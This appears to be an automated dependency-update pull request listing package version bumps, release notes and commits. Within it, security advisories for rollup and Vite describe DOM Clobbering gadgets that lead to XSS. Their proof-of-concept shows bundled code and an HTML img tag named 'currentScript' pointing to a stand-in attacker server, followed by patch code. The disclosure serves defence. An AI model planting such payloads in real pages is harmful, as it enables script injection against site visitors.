Patching the following two functions with type checking would be effective mitigations against DOM Clobbering attack.
const getRelativeUrlFromDocument = (relativePath: string, umd = false) => getResolveUrl( `'${escapeId(relativePath)}', ${ umd ? `typeof document === 'undefined' ? location.href : ` : '' }document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI` );const getUrlFromDocument = (chunkId: string, umd = false) => `${ umd ? `typeof document === 'undefined' ? location.href : ` : '' }(${DOCUMENT_CURRENT_SCRIPT} && ${DOCUMENT_CURRENT_SCRIPT}.tagName.toUpperCase() === 'SCRIPT' &&${DOCUMENT_CURRENT_SCRIPT}.src || new URL('${escapeId( chunkId )}', document.baseURI).href)`;
🚨 DOM Clobbering Gadget found in rollup bundled scripts that leads to XSS
Summary
We discovered a DOM Clobbering vulnerability in rollup when bundling scripts that use
import.meta.urlor with plugins that emit and reference asset files from code incjs/umd/iifeformat. The DOM Clobbering gadget can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., animgtag with an unsanitizednameattribute) are present.It's worth noting that we’ve identifed similar issues in other popular bundlers like Webpack (CVE-2024-43788), which might serve as a good reference.
Details
Backgrounds
DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:
[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/Gadget found in
rollupWe have identified a DOM Clobbering vulnerability in
rollupbundled scripts, particularly when the scripts usesimport.metaand set output in format ofcjs/umd/iife. In such cases,rollupreplaces meta property with the URL retrieved fromdocument.currentScript.rollup/src/ast/nodes/MetaProperty.ts
Lines 157 to 162 in b86ffd7
rollup/src/ast/nodes/MetaProperty.ts
Lines 180 to 185 in b86ffd7
However, this implementation is vulnerable to a DOM Clobbering attack. The
document.currentScriptlookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, thesrcattribute of the attacker-controlled element (e.g., animgtag ) is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.PoC
Considering a website that contains the following
main.jsscript, the devloper decides to use therollupto bundle up the program:rollup main.js --format cjs --file bundle.js.var s = document.createElement('script') s.src = import.meta.url + 'extra.js' document.head.append(s)The output
bundle.jsis shown in the following code snippet.'use strict'; var _documentCurrentScript = typeof document !== 'undefined' ? document.currentScript : null; var s = document.createElement('script'); s.src = (typeof document === 'undefined' ? require('u' + 'rl').pathToFileURL(__filename).href : (_documentCurrentScript && False && _documentCurrentScript.src || new URL('bundle.js', document.baseURI).href)) + 'extra.js'; document.head.append(s);Adding the
rollupbundled script,bundle.js, as part of the web page source code, the page could load theextra.jsfile from the attacker's domain,attacker.controlled.serverdue to the introduced gadget during bundling. The attacker only needs to insert animgtag with the name attribute set tocurrentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.<!DOCTYPE html> <html> <head> <title>rollup Example</title> <!-- Attacker-controlled Script-less HTML Element starts--!> <img name="currentScript" src="https://attacker.controlled.server/"></img> <!-- Attacker-controlled Script-less HTML Element ends--!> </head> <script type="module" crossorigin src="bundle.js"></script> <body> </body> </html>Impact
This vulnerability can result in cross-site scripting (XSS) attacks on websites that include rollup-bundled files (configured with an output format of
cjs,iife, orumdand useimport.meta) and allow users to inject certain scriptless HTML tags without properly sanitizing thenameoridattributes.Patch
Patching the following two functions with type checking would be effective mitigations against DOM Clobbering attack.
const getRelativeUrlFromDocument = (relativePath: string, umd = false) => getResolveUrl( `'${escapeId(relativePath)}', ${ umd ? `typeof document === 'undefined' ? location.href : ` : '' }document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI` );const getUrlFromDocument = (chunkId: string, umd = false) => `${ umd ? `typeof document === 'undefined' ? location.href : ` : '' }(${DOCUMENT_CURRENT_SCRIPT} && ${DOCUMENT_CURRENT_SCRIPT}.tagName.toUpperCase() === 'SCRIPT' &&${DOCUMENT_CURRENT_SCRIPT}.src || new URL('${escapeId( chunkId )}', document.baseURI).href)`;
🚨 DOM Clobbering Gadget found in rollup bundled scripts that leads to XSS
Summary
We discovered a DOM Clobbering vulnerability in rollup when bundling scripts that use
import.meta.urlor with plugins that emit and reference asset files from code incjs/umd/iifeformat. The DOM Clobbering gadget can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., animgtag with an unsanitizednameattribute) are present.It's worth noting that we’ve identifed similar issues in other popular bundlers like Webpack (CVE-2024-43788), which might serve as a good reference.
Details
Backgrounds
DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:
[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/Gadget found in
rollupWe have identified a DOM Clobbering vulnerability in
rollupbundled scripts, particularly when the scripts usesimport.metaand set output in format ofcjs/umd/iife. In such cases,rollupreplaces meta property with the URL retrieved fromdocument.currentScript.rollup/src/ast/nodes/MetaProperty.ts
Lines 157 to 162 in b86ffd7
rollup/src/ast/nodes/MetaProperty.ts
Lines 180 to 185 in b86ffd7
However, this implementation is vulnerable to a DOM Clobbering attack. The
document.currentScriptlookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, thesrcattribute of the attacker-controlled element (e.g., animgtag ) is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.PoC
Considering a website that contains the following
main.jsscript, the devloper decides to use therollupto bundle up the program:rollup main.js --format cjs --file bundle.js.var s = document.createElement('script') s.src = import.meta.url + 'extra.js' document.head.append(s)The output
bundle.jsis shown in the following code snippet.'use strict'; var _documentCurrentScript = typeof document !== 'undefined' ? document.currentScript : null; var s = document.createElement('script'); s.src = (typeof document === 'undefined' ? require('u' + 'rl').pathToFileURL(__filename).href : (_documentCurrentScript && False && _documentCurrentScript.src || new URL('bundle.js', document.baseURI).href)) + 'extra.js'; document.head.append(s);Adding the
rollupbundled script,bundle.js, as part of the web page source code, the page could load theextra.jsfile from the attacker's domain,attacker.controlled.serverdue to the introduced gadget during bundling. The attacker only needs to insert animgtag with the name attribute set tocurrentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.<!DOCTYPE html> <html> <head> <title>rollup Example</title> <!-- Attacker-controlled Script-less HTML Element starts--!> <img name="currentScript" src="https://attacker.controlled.server/"></img> <!-- Attacker-controlled Script-less HTML Element ends--!> </head> <script type="module" crossorigin src="bundle.js"></script> <body> </body> </html>Impact
This vulnerability can result in cross-site scripting (XSS) attacks on websites that include rollup-bundled files (configured with an output format of
cjs,iife, orumdand useimport.meta) and allow users to inject certain scriptless HTML tags without properly sanitizing thenameoridattributes.Patch
Patching the following two functions with type checking would be effective mitigations against DOM Clobbering attack.
const getRelativeUrlFromDocument = (relativePath: string, umd = false) => getResolveUrl( `'${escapeId(relativePath)}', ${ umd ? `typeof document === 'undefined' ? location.href : ` : '' }document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI` );const getUrlFromDocument = (chunkId: string, umd = false) => `${ umd ? `typeof document === 'undefined' ? location.href : ` : '' }(${DOCUMENT_CURRENT_SCRIPT} && ${DOCUMENT_CURRENT_SCRIPT}.tagName.toUpperCase() === 'SCRIPT' &&${DOCUMENT_CURRENT_SCRIPT}.src || new URL('${escapeId( chunkId )}', document.baseURI).href)`;
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by 8 commits:
4.28.1chore(deps): lock file maintenance minor/patch updates (#5755)Test if saving the Cargo cache can speed up FreeBSD (#5756)feat: Add `debugId` to `SourceMap` types (#5751)chore(deps): update dependency mocha to v11 (#5752)chore(deps): update dependency vite to v6 (#5753)feat: add support for LoongArch (#5749)fix(deps): update swc monorepo (major) (#5754)
↗️ shiki (indirect, 0.11.1 → 1.24.2) · Repo · Changelog
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by 6 commits:
⁉️ sprintf-js (downgrade, 1.1.2 → 1.0.3) · Repo · Changelog
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
↗️ tslib (indirect, 2.4.1 → 2.8.1) · Repo
Release Notes
2.8.1
What's Changed
- Fix publish workflow by @andrewbranch in #271
- Include non-enumerable keys in __importStar helper by @rbuckton in #272
- Remove use of ES2015 syntax by @andrewbranch in #275
Full Changelog: v2.8.0...v2.8.1
2.8.0
What's Changed
- Validate export structure of every entrypoint by @andrewbranch in #269
- Add rewriteRelativeImportExtension helper by @andrewbranch in #270
Full Changelog: v2.7.0...v2.8.0
2.7.0
What's Changed
- Implement deterministic collapse of
awaitinawait usingby @rbuckton in #262- Use global 'Iterator.prototype' for downlevel generators by @rbuckton in #267
Full Changelog: v2.6.3...v2.7.0
2.6.3
What's Changed
Full Changelog: v2.6.2...v2.6.3
2.6.2
What's Changed
- Fix path to
exports["module"]["types"]by @andrewbranch in #217Full Changelog: v2.6.1...v2.6.2
2.6.1
What's Changed
- Allow functions as values in __addDisposableResource by @rbuckton in #215
- Stop using es6 syntax in the es6 file by @andrewbranch in #216
Full Changelog: 2.6.0...v2.6.1
2.6.0
What's Changed
Full Changelog: v2.5.3...2.6.0
2.5.3
What's Changed
- Do not reference tslib.es6.js from package.json exports by @andrewbranch in #208
Full Changelog: 2.5.2...v2.5.3
2.5.2
This release explicitly re-exports helpers to work around TypeScript's incomplete symbol resolution for tslib.
2.5.1
This release of tslib provides fixes for two issues.
First, it reverses the order of
inithooks provided by decorators to correctly reflect proposed behavior.Second, it corrects the
exportsfield of tslib'spackage.jsonand provides accurate declaration files so that it may be consumed under thenode16andbundlersettings formoduleResolution.
2.5.0
What's New
- Fix asyncDelegator reporting done too early by @apendua in #187
- Add support for TypeScript 5.0's
__esDecorateand related helpers by @rbuckton in #193Full Changelog: 2.4.1...2.5.0
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 71 commits:
2.8.1Merge pull request #275 from microsoft/bug/es5-compatRemove use of ES2015 syntaxInclude non-enumerable keys in __importStar helper (#272)Add missing registry-url parameterMerge pull request #271 from microsoft/fix-publishFix publish workflow2.8.0Merge pull request #270 from microsoft/rewriteRelativeImportExtensionMissed updateLittle optimizationsAdd URL-ish testCombine tsx case into regexTest and fix invalid declaration-looking extensionsDo more with a regexShorten by one lineCase insensitivity, remove lookbehindAdd rewriteRelativeImportExtension helperMerge pull request #269 from microsoft/test-infrastructureTest export structureBump version to 2.7.0.Use global 'Iterator.prototype' for downlevel generators (#267)Implement deterministic collapse of 'await' in 'await using' (#262)2.6.3'await using' normative changes (#258)Bump the github-actions group with 3 updates (#253)Bump the github-actions group with 1 update (#242)Bump the github-actions group with 1 update (#241)Bump the github-actions group with 2 updates (#240)JSDoc typo on `__exportStar`. (#221)Bump the github-actions group with 1 update (#233)Bump the github-actions group with 1 update (#230)Bump the github-actions group with 2 updates (#228)Pin CI actions missed in previous PRCI: Hashpin sensitive actions and install dependabot (#226)Fix __asyncGenerator to properly handle AsyncGeneratorUnwrapYieldResumption (#222)Update codeql workflow using GUI (#223)CI: set minimal permissions for GitHub Workflows (#218)2.6.2Merge pull request #217 from microsoft/bug/fix-modules-condition-types-pathFix path to exports["module"]["types"]2.6.1Merge pull request #216 from microsoft/bug/205Undo format on saveStop using es6 syntax in the es6 fileAllow functions as values in __addDisposableResource (#215)2.6.0Add helpers for `using` and `await using` (#213)2.5.3Merge pull request #208 from microsoft/moar-modulesDo not reference tslib.es6.js from package.json exportsBump version to 2.5.2.Use named reexport to satsify incomplete TS symbol resolution (#204)Reverse order of decorator-injected initializers (#202)Merge pull request #200 from Andarist/fix/import-typesUpdate modules/index.d.tsMerge pull request #201 from microsoft/fix-esmMerge pull request #179 from guybedford/patch-4Add default export to modules/index.jsEnsure tslib.es6.js is typedAdd Node-specific export condition for ESM entrypoint that re-exports CJSAdd propert declaration file for the `import` conditionMerge pull request #195 from xfq/httpshttp -> httpsMerge pull request #194 from microsoft/bump-version-2.5Bump package version to 2.5.0Add support for __esDecorate and related helpers (#193)Merge pull request #188 from microsoft/add-codeqltry paths: .add codeqlFix asyncDelegator reporting done too early (#187)
↗️ type-fest (indirect, 0.13.1 → 4.30.2) · Repo
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by 3 commits:
↗️ unified (indirect, 10.1.2 → 11.0.5) · Repo · Changelog
Release Notes
11.0.5
Fix
- 1e0863a Fix exception on older browsers
by @justinbhopper in #246Full Changelog: 11.0.4...11.0.5
11.0.4
Types
- 1ca1a43 Add TypeScript declaration maps
by @remcohaszing in #230Full Changelog: 11.0.3...11.0.4
11.0.3
Fix
- 8dee2ab Fix support for functions in data
Full Changelog: 11.0.2...11.0.3
11.0.2
- cea788b Fix type of settings if nothing is registered yet
Full Changelog: 11.0.1...11.0.2
11.0.1
- d1a915d Fix incorrect type of
settingsin presetsFull Changelog: 11.0.0...11.0.1
11.0.0
Change
- baf80b2 Change to require Node.js 16
migrate: update too- dd9834a Update
@types/unist
migrate: update too- 620ccf9 Update
vfile
migrate: update tooChange (unlikey to affect you)
- a44db46 Add
Data,Settingstypes to augment shared data
migrate: if you deal with data, type it, see commit for info- fb49556 Change to replace
BufferwithUint8Array
migrate: you’re probably fine unless you use weird encodings, see commit for details if so- f3e71a8 Remove
Attachertype
migrate: usePlugininstead- cc53bb6 Remove
FrozenProcessortype
migrate: useProcessorinstead- 1aa3494 Change to yield
undefined, notnull
migrate: expectundefined- 932c140 Change to use
exports
migrate: don’t use private APIs- 8e57478 Remove support for classes as compilers, parsers
migrate: if you love classes, see commit message- 4676814 Remove support for compilers returning nullish
migrate: nobody did that- 807ffb9 Add improved types
migrate: it’s probably just better if anything changed at all- b35afe0 Add useful error on empty presets
by @wooorm in #202- 6f068a0 Fix to deep clone preset settings
- 56ee288 Fix non-first parameter merging when reconfiguring plugins
Misc
- e58b095 ad06700 40f0329 Refactor code-style
- ffc146c Update
typescript
by @ChristianMurphy in #216- 7148746 144eec0 2d95451 Add improved docs
- afb704a Fix some typos
by @ChristianMurphy in #225- 2aa15ea Refactor types
- a06537c Add sponsor
Full Changelog: 10.1.2...11.0.0
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 65 commits:
11.0.5Refactor code-styleFix exception on older browsersUpdate dev-dependenciesRemove emoji from JSDoc to prevent segfaultAdd canary workflow backUpdate dev-dependenciesFix build11.0.4Add TypeScript declaration maps11.0.3Remove broken canary tests for nowFix support for functions in dataUpdate dev-dependenciesRefactor badge URL in docs11.0.2Fix type of settings if nothing is registered yet11.0.1Fix incorrect type of `settings` in presets11.0.0Fix another typoFix some typosChange to require Node.js 16Remove support for classes as compilers, parsersRefactor docsAdd `Data`, `Settings` types to augment shared dataRefactor some more code to use JSDocRemove support for compilers returning nullishFix non-first parameter merging when reconfiguring pluginsFix to deep clone preset settingsRemove `Attacher` typeRefactor code-styleRefactor to use JSDoc, remove `FrozenProcessor` typeUpdate dev-dependenciesAdd improved typesChange to yield `undefined`, not `null`Change to replace `Buffer` with `Uint8Array`Refactor code-styleRefactor `tsconfig.json`Refactor `package.json`Refactor to reorder canariesAdd `ignore-scripts` to `.npmrc`Refactor `.gitignore`Update ActionsReplace dependencyChange to use `exports`Update `vfile`Update `@types/unist`Remove unneeded explicit types in testsUpdate dev-dependenciesUpdate `typescript`Add useful error on empty presetsFix buildAdd sponsorRefactor some docsUse Node test runnerUpdate actionsRefactor `tsconfig.json`Update dev-dependenciesUpdate dev-dependenciesAdd improved docsRefactor typesFix typeUpdate dev-dependenciesRemove reference to `unified-engine-atom`
↗️ unist-util-is (indirect, 5.1.1 → 6.0.0) · Repo
Release Notes
6.0.0
Changes
- cd152e7 Update
@types/unist
migrate: update@types/unisttoo- 8a2febe Change to require Node.js 16
migrate: update Node- f91a1c2 Change to use
exportmap
migrate: don’t use private APIs- dc59467 Change types to work w/o explicit type parameter
migrate: don’t pass an explicit type parameter;
replaceAssertAnything,AssertPredicate->Check;
TestFunctionAnything,TestFunctionPredicate->TestFunction;
PredicateTest->TestFull Changelog: 5.2.1...6.0.0
5.2.1
Misc
Full Changelog: 5.2.0...5.2.1
5.2.0
Add
- 262c28f Add export of
PredicateTesttypeMisc
- 22b8d14 ee8834b ccb5949 06def74 Add improved docs
- 44bd516 ecabf42 b7ffc07 Refactor code-style
- 9a8ef81 Update
tsconfig.jsonFull Changelog: 5.1.1...5.2.0
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 29 commits:
6.0.0Update `@types/unist`Change to require Node.js 16Change to use `export` mapRefactor docsChange types to work w/o explicit type parameterRefactor `.npmrc`Refactor `package.json`, `tsconfig.json`Update dev-dependencies5.2.1Add `@types/unist` to dependencies5.2.0Add improved docsAdd tests for exposed identifiersUse Node test runnerAdd export of `PredicateTest` typeRefactor code-styleRefactor to move implementation to `lib/`Update `tsconfig.json`Update ActionsUpdate dev-dependenciesFix typoAdd improved jsdocAdd improved docsRefactor code-styleUpdate dev-dependenciesadd `ignore-scripts` to `.npmrc`Add better docsUpdate dev-dependencies
↗️ unist-util-modify-children (indirect, 3.1.0 → 4.0.0) · Repo
Release Notes
4.0.0
Change
- d8fae1c Update
@types/unist
migrate: update too- 2e92449 Change to require Node.js 16
migrate: update too- 5bec8ab Change to use
exportmap
migrate: don’t use private APIsFull Changelog: 3.1.1...4.0.0
3.1.1
Misc
Full Changelog: 3.1.0...3.1.1
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 18 commits:
4.0.0Update `@types/unist`Change to require Node.js 16Change to use `export` mapRefactor docsRefactor code-styleRefactor `.npmrc`Refactor `package.json`, `tsconfig.json`Update dev-dependencies3.1.1Add improved docsAdd tests for exposed identifiersUse Node test runnerRefactor code-styleRefactor to move implementation to `lib/`Update `tsconfig.json`Update ActionsUpdate dev-dependencies
↗️ unist-util-position (indirect, 4.0.3 → 5.0.0) · Repo
Release Notes
5.0.0
Change
- 4049b1f Update
@types/unist
migrate: update too- 91eee7f Change to require Node.js 16
migrate: update too- fda0351 Change to use
exportmap
migrate: don’t use private APIs- e396010 Change to return
undefinedfor invalid points, positions
by @wooorm in #12
migrate: expectundefinedFull Changelog: 4.0.4...5.0.0
4.0.4
Misc
Full Changelog: 4.0.3...4.0.4
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 22 commits:
5.0.0Update `@types/unist`Change to require Node.js 16Change to use `export` mapRefactor docsRefactor `.npmrc`Refactor code-styleRefactor `package.json`, `tsconfig.json`Change to return `undefined` for invalid points, positionsUpdate dev-dependencies4.0.4Fix typoAdd improved docsAdd tests for exposed identifiersUse Node test runnerRefactor code-styleRefactor to move implementation to `lib/`Update `tsconfig.json`Update ActionsUpdate dev-dependenciesAdd improved docsUpdate dev-dependencies
↗️ unist-util-remove-position (indirect, 4.0.1 → 5.0.0) · Repo
Release Notes
5.0.0
Change
- f18d159 Update
@types/unist
migrate: update too- 24ea478 Change to require Node.js 16
migrate: update too- 15b015e Change to use
exportmap
migrate: don’t use private APIs- fa86ae2 Change to yield
undefined
migrate: expectundefined- 910f1bb Change to remove
forceshortcut
migrate:true->{force: true}Full Changelog: 4.0.2...5.0.0
4.0.2
Misc
Full Changelog: 4.0.1...4.0.2
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 27 commits:
5.0.0Update `@types/unist`Change to use `export` mapChange to require Node.js 16Change to yield `undefined`Change to remove `force` shortcutRefactor docsRefactor `.npmrc`Refactor code-styleRefactor `package.json`, `tsconfig.json`Update dev-dependencies4.0.2Add improved docsFix typosAdd tests for exposed identifiersUse Node test runnerRefactor code-styleRefactor to move implementation to `lib/`Update `tsconfig.json`Update ActionsUpdate dev-dependenciesFix typoRemove unneeded overloadingAdd improved docsReplace dev-dependencyUpdate dev-dependenciesadd `ignore-scripts` to `.npmrc`
↗️ unist-util-visit (indirect, 4.1.1 → 5.0.0) · Repo
Release Notes
5.0.0
Change
- 4dcff31 Update
@types/unist
migrate: update too- befc0b3 Change to require Node.js 16
migrate: update too- b5f36de Change to use
exportmap
migrate: don’t use private APIs- 89fc050 Change to remove
complex-types.d.ts
migrate: use main export- 12c9ee9 Change to pass
undefined, notnull
migrate: changenulltoundefinedFix
- 3cb2732 Fix performance of
InclusiveDescendanttypeFull Changelog: 4.1.2...5.0.0
4.1.2
Misc
Full Changelog: 4.1.1...4.1.2
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 23 commits:
5.0.0Update `@types/unist`Change to require Node.js 16Change to use `export` mapRemove `xo` rulesChange to remove `complex-types.d.ts`Fix performance of `InclusiveDescendant` typeChange to pass `undefined`, not `null`Refactor docsRefactor code-styleRefactor `.npmrc`Refactor `package.json`, `tsconfig.json`Update dev-dependencies4.1.2Add improved docsAdd tests for exposed identifiersUse Node test runnerAdd `ignore-scripts` to `.npmrc`Refactor code-styleRefactor to move implementation to `lib/`Update `tsconfig.json`Update ActionsUpdate dev-dependencies
↗️ unist-util-visit-children (indirect, 2.0.1 → 3.0.0) · Repo
Release Notes
3.0.0
Change
- e3f568b Update
@types/unist
migrate: update too- 8a28747 Change to use
exportmap
migrate: update too- 707e7bc Change to require Node.js 16
migrate: don’t use private APIsFull Changelog: 2.0.2...3.0.0
2.0.2
Misc
Full Changelog: 2.0.1...2.0.2
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 19 commits:
3.0.0Update dev-dependenciesFix xoChange to use `export` mapChange to require Node.js 16Refactor docsRefactor code-styleRefactor `.npmrc`Refactor `package.json`, `tsconfig.json`Update dev-dependencies2.0.2Add improved docsAdd tests for exposed identifiersUse Node test runnerRefactor code-styleRefactor to move implementation to `lib/`Update `tsconfig.json`Update ActionsUpdate dev-dependencies
↗️ unist-util-visit-parents (indirect, 5.1.1 → 6.0.1) · Repo
Release Notes
6.0.1
Fix
- 48f0dc0 Fix TSC generating broken
.d.tsfilesFull Changelog: 6.0.0...6.0.1
5.1.3
- 529f064 Fix hidden types for
unist-util-visitFull Changelog: 5.1.2...5.1.3
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 28 commits:
6.0.1Fix TSC generating broken `.d.ts` files6.0.0Update `@types/unist`Change to require Node.js 16Change to use `export` mapRefactor docsRemove `xo` rulesAdd support for inferring type of parentsChange to remove `complex-types.d.ts`Fix performance of `InclusiveDescendant` typeRefactor code-styleRefactor `.npmrc`Refactor `package.json`, `tsconfig.json`Update dev-dependencies5.1.3Fix hidden types for `unist-util-visit`5.1.2Fix typoAdd improved docsAdd tests for exposed identifiersUse Node test runnerAdd `ignore-scripts` to `.npmrc`Refactor code-styleRefactor to move implementation to `lib/`Update `tsconfig.json`Update ActionsUpdate dev-dependencies
↗️ vfile (indirect, 5.3.6 → 6.0.3) · Repo · Changelog
Release Notes
6.0.3
Full Changelog: 6.0.2...6.0.3
6.0.2
Performance
- aeae47e Refactor to prevent calling
cwdif not neededMiscellaneous
- f364b8f Refactor to use import maps
Types
Full Changelog: 6.0.1...6.0.2
6.0.1
Types
- f9f3c8f Update
@types/unistFull Changelog: 6.0.0...6.0.1
6.0.0
Change
- 46dd635 Change to require Node.js 16
migrate: update Node- f72469b Change to use export map
migrate: don’t use private APIs- f4edd0d Change to replace
BufferwithUint8Array
migrate: this will mostly work, but might break if you use weird ancient encodings
by @wooorm in #85- af5eada Update
vfile-message
migrate: if you used.positionon messages, switch that to.place
optionally use the nicer options parameter to pass your thingsMisc
- 47eec44 Refactor to match current Node internals
- ab764ab Refactor docs
- bc0332c Change to use
node:prefix- 5d00341 Change to use global
URLin types- 6b8fdb4 4800e34 Refactor types
- c4b6c0d Refactor code-style
- f3c5753 Remove
skipLibCheckfromtsconfig.json- 6a87fde Refactor
package.jsonFull Changelog: 5.3.7...6.0.0
5.3.7
Misc
Full Changelog: 5.3.6...5.3.7
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 47 commits:
6.0.3Refactor code-styleRefactor ActionsUpdate dev-dependenciesRemove unused dependency6.0.2Refactor to prevent calling `cwd` if not neededRefactor code-styleRefactor `.npmrc`Refactor `.editorconfig`Update ActionsAdd declaration mapsRefactor to use import mapsRefactor typesUpdate dev-dependenciesUpdate ActionsUpdate dev-dependenciesUpdate dev-dependenciesUpdate dev-dependencies6.0.1Update `@types/unist`Update `lib` in `tsconfig.json`Refactor to reorder some fields6.0.0Change to require Node.js 16Change to replace `Buffer` with `Uint8Array`Change to use export mapFix typoRefactor to match current Node internalsRefactor docsUpdate `vfile-message`Refactor some JSDocsChange to use `node:` prefixChange to use global `URL` in typesRefactor typesRefactor code-styleRemove `skipLibCheck` from `tsconfig.json`Refactor `package.json`Update dev-dependenciesFix buildAdd sponsor5.3.7Add improved docsAdd tests for exposed identifiersRefactor code-styleRemove unneeded asterisk in `tsconfig.json`Add Node 16 to Actions
↗️ vite (indirect, 3.2.4 → 6.0.3) · Repo · Changelog
Security Advisories 🚨
🚨 Vite DOM Clobbering gadget found in vite bundled scripts that leads to XSS
Summary
We discovered a DOM Clobbering vulnerability in Vite when building scripts to
cjs/iife/umdoutput format. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.Note that, we have identified similar security issues in Webpack: GHSA-4vvj-4cpr-p986
Details
Backgrounds
DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:
[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/Gadgets found in Vite
We have identified a DOM Clobbering vulnerability in Vite bundled scripts, particularly when the scripts dynamically import other scripts from the assets folder and the developer sets the build output format to
cjs,iife, orumd. In such cases, Vite replaces relative paths starting with__VITE_ASSET__using the URL retrieved fromdocument.currentScript.However, this implementation is vulnerable to a DOM Clobbering attack. The
document.currentScriptlookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.const relativeUrlMechanisms = { amd: (relativePath) => { if (relativePath[0] !== ".") relativePath = "./" + relativePath; return getResolveUrl( `require.toUrl('${escapeId(relativePath)}'), document.baseURI` ); }, cjs: (relativePath) => `(typeof document === 'undefined' ? ${getFileUrlFromRelativePath( relativePath )} : ${getRelativeUrlFromDocument(relativePath)})`, es: (relativePath) => getResolveUrl( `'${escapeId(partialEncodeURIPath(relativePath))}', import.meta.url` ), iife: (relativePath) => getRelativeUrlFromDocument(relativePath), // NOTE: make sure rollup generate `module` params system: (relativePath) => getResolveUrl( `'${escapeId(partialEncodeURIPath(relativePath))}', module.meta.url` ), umd: (relativePath) => `(typeof document === 'undefined' && typeof location === 'undefined' ? ${getFileUrlFromRelativePath( relativePath )} : ${getRelativeUrlFromDocument(relativePath, true)})` };PoC
Considering a website that contains the following
main.jsscript, the devloper decides to use the Vite to bundle up the program with the following configuration.// main.js import extraURL from './extra.js?url' var s = document.createElement('script') s.src = extraURL document.head.append(s)// extra.js export default "https://myserver/justAnOther.js"// vite.config.js import { defineConfig } from 'vite' export default defineConfig({ build: { assetsInlineLimit: 0, // To avoid inline assets for PoC rollupOptions: { output: { format: "cjs" }, }, }, base: "./", });After running the build command, the developer will get following bundle as the output.
// dist/index-DDmIg9VD.js "use strict";const t=""+(typeof document>"u"?require("url").pathToFileURL(__dirname+"/extra-BLVEx9Lb.js").href:new URL("extra-BLVEx9Lb.js",document.currentScript&&document.currentScript.src||document.baseURI).href);var e=document.createElement("script");e.src=t;document.head.append(e);Adding the Vite bundled script,
dist/index-DDmIg9VD.js, as part of the web page source code, the page could load theextra.jsfile from the attacker's domain,attacker.controlled.server. The attacker only needs to insert animgtag with thenameattribute set tocurrentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.<!DOCTYPE html> <html> <head> <title>Vite Example</title> <!-- Attacker-controlled Script-less HTML Element starts--!> <img name="currentScript" src="https://attacker.controlled.server/"></img> <!-- Attacker-controlled Script-less HTML Element ends--!> </head> <script type="module" crossorigin src="/assets/index-DDmIg9VD.js"></script> <body> </body> </html>Impact
This vulnerability can result in cross-site scripting (XSS) attacks on websites that include Vite-bundled files (configured with an output format of
cjs,iife, orumd) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.Patch
// https://github.com/vitejs/vite/blob/main/packages/vite/src/node/build.ts#L1296 const getRelativeUrlFromDocument = (relativePath: string, umd = false) => getResolveUrl( `'${escapeId(partialEncodeURIPath(relativePath))}', ${ umd ? `typeof document === 'undefined' ? location.href : ` : '' }document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`, )
🚨 Vite DOM Clobbering gadget found in vite bundled scripts that leads to XSS
Summary
We discovered a DOM Clobbering vulnerability in Vite when building scripts to
